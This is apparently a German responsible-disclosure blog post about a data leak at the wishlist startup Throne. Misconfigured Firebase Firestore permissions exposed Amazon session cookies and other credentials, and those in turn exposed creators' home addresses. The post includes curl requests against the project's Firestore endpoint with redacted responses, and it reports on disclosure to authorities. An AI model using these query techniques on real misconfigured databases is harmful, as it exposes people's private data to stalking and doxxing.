Wer Videos dreht und ins Internet stellt, freut sich über Liebe von seinen Fans – gerne auch in Form von Geschenken. Von technischem Equipment über Energydrinks bis hin zu Kleidung, der Kreativität sind keine Grenzen gesetzt. Die eigene Wohnadresse sollte aber besser nirgendwo landen, wo sie übereifrige Fans oder bösartige Stalker finden könnten. Deshalb gibt es Dienste, die einem beides ermöglichen wollen: Einerseits Geschenke bekommen und andererseits seine Adresse nicht dem gesamten Internet verraten zu müssen.

Problematisch wird’s, wenn so ein Dienst dabei Mist baut und diese Adressen doch leakt. Genau das ist aber passiert. Wie es dazu kam…

Kochen, Nähen, ASMR, Erotik oder alles gleichzeitig – im Internet bringt das Klicks. Diverse Plattformen wie TikTok, Twitch, YouTube oder FurAffinity leben davon, dass Menschen sich als »Content Creator« betätigen. Die einen sehen es als Hobby, andere verdienen damit ihr Geld. Mal mit Live-Streaming, mal mit vorproduzierten Videos. Und fast alle lassen sich gerne von ihren Fans unterstützen.

Himmel + Hölle = das Internet

Eine Möglichkeit sind natürlich direkte Geldspenden, aber auch Wunschlisten erfreuen sich zunehmend großer Beliebtheit. Wer seinen Internet-Lieblingen eine Freude machen will, sucht sich zum Beispiel die Amazon-Wishlists raus und verschenkt technische Ausrüstung oder was Nettes zum Snacken.

Aber wir wissen alle: Das Internet die Welt ist ein gefährlicher Ort. Private Daten landen im Netz (Doxxing), Notrufe von den Adressen öffentlich sichtbarer Personen werden vorgetäuscht, sodass dort »Spezialeinheiten« auftauchen (Swatting). Dabei geht es nicht nur um gefährliche Späße, teilweise bilden sich organisierte Gruppen, die sich in den Kopf gesetzt haben, ihrem Opfer das Leben zur Hölle zu machen.

Niemanden geht an, wo dein Haus wohnt

Nachvollziehbar also, dass viele Menschen, die im Internet auftreten, ihre Adresse oder auch ihre komplette Identität geheim halten wollen. Dafür sind Amazon Wishlists nicht ideal. Denn standardmäßig werden dort Name und Stadt angezeigt – und das war’s dann mit der vollständigen Anonymität.

Doch nicht nur, dass Name und Stadt automatisch öffentlich sind. Es kursieren außerdem Berichte darüber, dass es bei Amazon durchaus möglich ist, an die vollständigen persönlichen Daten inklusive der Adresse der beschenkten Person zu kommen – zum Beispiel, indem man Mitarbeitende manipuliert (social engineering) oder technische Schlupflöcher ausnutzt¹.

Wo es so ein Problem gibt, tauchen schnell die ersten Startups auf, um die Lücken auf dem Markt und in ihrem Geldbeutel zu stopfen (»Plattform-Marketing! Creator-Economy! Kapitalismus! Yay!«).

Profit mit dem Privatsphäreversprechen

Eins der Start-Ups, die von dieser Angst profitieren wollen: Throne. Throne existiert seit 2021 und wirbt damit, onlinekreativen Unterhaltungsproduzierenden² ihre Geschenke zu besorgen, dabei aber deren Name und Adresse geheim zu halten:

Throne was created with privacy as our first principle.

We value our creators privacy and keep addresses entirely private. No fan will ever see your address, delivery name or any other identifiable information.

Das funktioniert so: Onlinekreative Unterhaltungsproduzierende stellen eine Wunschliste aus Produkten verschiedener Shops zusammen. Fans können dann daraus Produkte auswählen und den entsprechenden Geldbetrag an Throne zahlen. Throne wiederum bestellt mit dem Geld das Produkt – beispielsweise von Amazon – direkt nach Hause zu den onlinekreativen Unterhaltungsproduzierenden.

Für einen Bissen vom Kuchen³, versteht sich.

Das heißt: Wem eine Amazon-Wishlist zu heikel ist, gibt seine Adresse an Throne, damit Throne dann diese Adresse bei Amazon ins Bestellformular auf die Empfängerseite eintragen kann. Der Hauptunterschied zur Amazon-Wishlist: Throne ist als zusätzliche Sicherheitsschicht zwischen der schenkenden Person und dem Online-Shop.

Dadurch sitzt eine solche Plattform natürlich auf einem besonders sensiblen Datenschatz – den privaten Adressen vieler interessanter Persönlichkeiten. Diesen Datenschatz muss die Plattform dann auch gut hüten 🐉.

Doch wir würden nicht darüber schreiben, wenn uns da nicht was passiert wäre…

Stein auf Stein – bis es umfällt

Bis wir euch verraten können, was genau uns passiert ist, müssen wir erst noch kurz verstehen, wie Throne eigentlich funktioniert.

Als wir uns Throne genauer angeschaut haben, haben wir uns auch zuallererst einen Überblick verschafft. Dafür haben wir die Entwickler*innen-Tools unseres Browsers geöffnet und uns ein bisschen im Quellcode der Website umgeschaut.

Dabei stach uns direkt etwas ins Auge⁴: Für den Betrieb der App hat sich Throne an einem Bauklotzhaufen aus dem Hause Google bedient: Um sich nicht um alle Einzelteile einer App kümmern zu müssen, verwenden sie für den Betrieb im Hintergrund Teile von Google Firebase. Denn viele Startups wollen so lästige Dinge wie Dateispeicher, eine Komponente zum Anmelden und eine Datenbank nicht unbedingt selbst betreiben. Das alles können sie an Firebase auslagern – und sich auf den Kern ihrer Startup-Software-Entwicklung konzentrieren.

Eine der Komponenten des Google-Bauklotzhaufens Firebase ist Firestore. Das ist eine Datenbank, also das Langzeitgedächtnis der Anwendung. Daten werden dort in sogenannten Collections gespeichert. Das ist lose vergleichbar mit Tabellen.

An diese Datenbank kann man nun Anfragen stellen: Was hat ein*e bestimmte*r onlinekreative*r Unterhaltungsproduzent*in so auf der Wunschliste stehen? Wie viel kosten diese Katzenohren eigentlich? Und überhaupt, wo gibt es diese tollen Katzenohren? (Wir wollen die auch!)

Die Datenbank darf einem natürlich nicht auf alle Fragen antworten. Denn nicht alle Informationen sind für uns bestimmt. Damit nicht alle alles lesen (oder ändern) können, kann man die Berechtigungen genau einstellen.

Fragen wir zum Beispiel nach der Liste aller Adressen, bekommen wir nur eine Fehlermeldung, die uns sagt, dass wir das nicht dürfen.

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails

{
  "error": {
    "code": 403,
    "message": "Missing or insufficient permissions.",
    "status": "PERMISSION_DENIED"
  }
}

Aber wenn wir nach unser eigenen Adresse fragen, geht das ohne Probleme:

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]

{
  "name": "projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNGS USER-ID]",
  "fields": {
    ...
    "city": {
      "stringValue": "Musterhausen"
    },
    "postcode": {
      "stringValue": "12345"
    },
    "address1": {
      "stringValue": "Hackstraße 23"
    },
    "address2": {
      "stringValue": ""
    },
    "state": {
      "stringValue": "Belpin"
    },
    "country": {
      "stringValue": "DE"
    },
    "lastName": {
      "stringValue": "forschung"
    },
    "delivery_instructions": {
      "stringValue": "Bitte dem pinken Einhorn übergeben"
    },
    "hasIssue": {
      "booleanValue": false
    },
    "name": {
      "stringValue": "zer"
    }
  },
  ...
}

Kekse für alle

Und so haben wir weiterprobiert, was wir alles abrufen dürfen. Lange haben wir fast nur Informationen bekommen, die man auch direkt auf der Website sieht⁵.

Doch dann fanden wir eine Collection namens constants. In dieser standen allerlei Dinge: Die Umrechnungskurse verschiedener Währungen⁶, eine Liste welche Shops es bei Throne gibt – und ein paar interne Zugangsdaten sowie eine Liste mit gesperrten Adressen und Accounts.

Leider hatten wir in der Vergangenheit schon einmal den Fall, dass die Berechtigungen nicht richtig eingestellt waren. Dort konnten wir nach internen Zugangsdaten fragen und bekamen eine Antwort.

// curl -H "Authorization: Bearer ey[...]" https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/constants

{
  "documents": [
    ...,
    {
      "name": "projects/onlywish-9d17b/databases/(default)/documents/constants/exchangeRates",
      "fields": {
        "CHF": {
          "doubleValue": 1.1060111707128242
        },
        ...
      }
    },
    {
      "path": "constants/bannedDeliveryDetails",
      "data": {
        "addresses": [
          {
            "searchableName": "████",
            "delivery_instructions": "",
            "postcode": "███",
            "city": "█████",
            "googleMapsFormattedAddress": "██████████████",
            "updatedAt": 1657348████,
            "firstName": "███████",
            "address2": "",
            "geo": {
              "lat": 26.██████,
              "lng": -80.█████
            },
            "lastName": "████",
            "phone": "████████",
            "country": "US",
            "address1": "██████████",
            "state": "███",
            "hasIssue": false,
            "reference": {
              "type": "creator",
              "id": "██████████████"
            },
            "name": "█████ ██████",
            "searchablePostcode": "███"
          },
          ...
        ]
      }
    },
    {
      "path": "constants/gsheetsOAuthToken",
      "data": {
        "access_token": "ya29.████████████████████████████████████████████████████████████",
        "expires_in": 3599,
        "token_type": "Bearer",
        "scope": "https://www.googleapis.com/auth/spreadsheets",
        "expires_at": ███████,
        "refresh_token": "████████████████████████████████████████████████████████████████████████████████"
      }
    },
    {
      "path": "constants/trackedAmazonAccounts",
      "data": {
        "trackedAmazonAccounts": [
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "co.uk",
            "name": "Amazon UK"
          },
          {
            "name": "Amazon FR",
            "countryTld": "fr",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "name": "Amazon IT",
            "countryTld": "it",
            "cookie": "████████████████████████████████████████████████████████████"
          },
          {
            "countryTld": "de",
            "cookie": "session-id=███████████████; ubid-acbde=███████████████; av-timezone=Europe/Berlin; csd-key=e████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; sp-cdn=J4F7; lc-acbde=en_GB; session-token=████████████████████████████████████████████████████████████; x-acbde=\"████████████████████████████████████████████████████████████\"; at-acbde=████████████████████████████████████████████████████████████; sess-at-acbde=\"███████████████████████\"; sst-acbde=████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; i18n-prefs=EUR; csm-hit=████████████████████████████████████████████████████████████&adb:adblk_yes; session-id-time=██████████",
            "name": "Amazon DE"
          },
          {
            "cookie": "████████████████████████████████████████████████████████████",
            "countryTld": "es",
            "name": "Amazon ES"
          },
          {
            "name": "Amazon US",
            "countryTld": "com",
            "cookie": "████████████████████████████████████████████████████████████"
          }
        ]
      }
    },
    ...
  }
}

Die meisten dieser Zugangsdaten sind abgelaufen oder wir konnten nichts damit anfangen, weil uns weitere Informationen fehlen.⁷ Doch unter den ausgegebenen Zugangsdaten waren auch Session-Cookies von Amazon.

Kekse finden wir zwar gut, aber nicht diese Art – denn Throne hat sie schon angeleckt sollte diese eigentlich für sich behalten. Doch anstatt das zu tun, haben sie die Cookies öffentlich in die Datenbank geschrieben, sodass wir sie jetzt auch bei Amazon vorzeigen können – und somit direkt angemeldet sind. Und so können wir uns auch die vorigen Bestellungen angucken – inklusive der eigentlich geheimen Adressen der onlinekreativen Unterhaltungsproduzierenden.

Throne hatte diese Cookies unter dem Namen trackedAmazonAccounts gespeichert. Daher vermuten wir, dass Throne die Cookies verwendet, um automatisiert nach dem Status der Bestellung zu schauen und den Beschenkten zu ermöglichen, die Sendung zu verfolgen. Doch das ist keine Ausrede, diese Cookies öffentlich zu machen.

Ding dong

Also haben wir das ganze in einem Report zusammengeschrieben und an Throne, die Berliner Datenschutzbehörde⁸ und das CERT-Bund des BSI geschickt. Etwa 45 Minuten später hatten wir schon die Rückmeldung von Throne, dass die Lücke gestopft wurde.

Das war für uns – obwohl wir ja oft mit Startups zu tun haben, die sich für ihre Geschwindigkeit rühmen – ungewohnt schnell 🏃👏. Und auch sonst klangen die nächsten Schritte von Throne gut: Die Cookies bei Amazon zurückrufen, sodass niemand sie mehr nutzen kann und versuchen zu überprüfen, ob noch jemand die Lücke ausgenutzt hat. Wie gut sie das gemacht haben, dazu gleich mehr.

Lieber Vorsicht als Nachsicht

Doch leider müssen wir auch Kritik an Thrones öffentlichen Umgang mit der Lücke üben. Zwar haben sie von sich aus einen Blogpost zu dem Vorfall veröffentlicht und diesen sogar in einem regelmäßigen Update an alle Creator erwähnt. Jedoch spielen sie die Lücke und ihre Auswirkungen dort sehr herunter.

Throne behauptet:

we investigated if users were affected and if there was any risk to personal data. Using IP logs we discovered that there was no risk and no unknown party had viewed any data.

Wie genau Throne das festgestellt haben will, wissen wir nicht. Denn nach unserer IP-Adresse oder anderen Identifikatoren wurden wir nicht gefragt. Und selbst wenn sie alle Zugriffe genau zuordnen konnten – wir konnten auf die Daten zugreifen.

Zwar sind wir vielleicht inzwischen keine »unknown party« mehr, schließlich haben wir uns bei Throne gemeldet. Trotzdem sind wir nicht berechtigt und sollten solche privaten Daten nicht einsehen können. Und weniger gutmeinende Akteure hätten mit diesen Daten einigen Schaden anrichten können.

Move slow genug, um keine Menschen zu gefährden!

Außerdem gilt – auch wenn man Throne für die hohe Reaktionsgeschwindigkeit lobt: Schnell auf eine Meldung zu reagieren ist nicht genug. Denn wenn die Meldung kommt ist es schon zu spät. Ein solcher Fehler reicht, um viele Menschen zu gefährden.

Startups arbeiten gerne nach dem Prinzip »move fast and break things«. Bei privaten Daten ist das aber genau die falsche Herangehensweise. Denn Sicherheit muss umfassend gedacht werden: dazu gehört eine durchdachte Softwarearchitektur ebenso wie Erfahrung mit den Ecken und Kanten der genutzten Frameworks. Das alles kostet Geld und – bei Startups oft noch viel knapper – Zeit.

🤝

Wir haben diese Lücke exklusiv zusammen mit techcrunch veröffentlicht. Den Artikel findet ihr hier.

Timeline

• 2023-03-29: Fund der Lücken
• 2023-03-30: Report an Throne, Landesdatenschutzbeauftragte Berlin und CERTBund
• 2023-03-30: Meldung, dass Throne unseren Report erhalten hat, kurzes Gespräch
• 2023-03-30: Throne meldet, dass die Lücken gestopft wurden & weitere Schritte geplant sind
• 2023-03-31: Throne veröffentlicht security.txt
• 2023-04-05: Throne benachrichtigt ihre User

Disclaimer

Zwei Zerforschis kennen einen der Gründer von Throne, hatten allerdings bis zum Entdecken der Lücke mehrere Jahre keinen Kontakt zu ihm.

Nach dem Melden der Sicherheitslücke hat uns Throne etwas Werkzeug von unserer Amazon-Wunschliste gekauft. Wir haben weder Throne noch irgendein anderes Unternehmen, bei dem wir Sicherheitslücken fanden, je um Geld oder Geschenke gebeten und werden das auch in Zukunft nicht tun.

Beides hat weder Einfluss auf unsere aktuelle, noch auf eventuelle zukünftige Berichterstattung über Throne.